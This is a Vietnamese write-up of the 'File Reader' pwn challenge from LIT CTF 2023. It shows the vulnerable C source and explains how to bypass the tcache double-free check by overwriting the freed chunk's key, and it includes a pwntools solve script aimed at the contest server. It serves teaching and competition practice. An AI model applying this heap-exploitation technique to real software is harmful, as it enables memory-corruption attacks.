🏸File Reader - LIT CTF 2023

source.c
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int main() {
    char *c = malloc(64);
    char *d = malloc(64);
    printf("%p\n", d);
    unsigned long a = 0;
    unsigned long b = 0;
    
    free(c);
    
    scanf("%lu", &a);
    scanf("%lu", &b);
    
    *((unsigned long *)a) = b;
    
    puts("Exiting...");
    
    free(c);
    
    int fd = open("flag.txt", O_RDONLY);
    d[read(fd, d, 64)-1] = 0;
    puts(d);
    free(d);
    return 0;
}

Bài này nó đã leak sẵn cho mình địa chỉ của chunk thứ 2 sau đó yêu cầu nhập vào 1 địa chỉ và ghi đè nó bằng data.

Lỗi double free (xảy ra ở dòng thứ 23 của source.c)

Trong bài này, do gặp lỗi double free detected in tcache 2 nên ta phải overwrite vào keys của freed chunk để chương trình không nhận ra chunk đã được giải giải phóng. Cụ thể trong bài này:

key là phần khoanh đỏ trong chunk. 8 bytes đằng trước nó không trỏ đến đâu vì chương trình này chỉ free duy nhất 1 lần tại chunk c.

Solution cho bài này như sau:

from pwn import *
elf = context.binary = ELF("./s")
r = elf.process()
r = remote("litctf.org", 31772)
# gdb.attach(r, '''
#     b*main+188\n
#     c
# ''')
heap_leak = int(r.recvline(),16)
chunk_c = heap_leak - 0x48
log.success(f"HEAP leak: {hex(heap_leak)} \nCHUNK2: {hex(chunk_c)}")

r.sendline(str(chunk_c))
r.sendline(b"AAAAAAAA")

r.interactive()

Last updated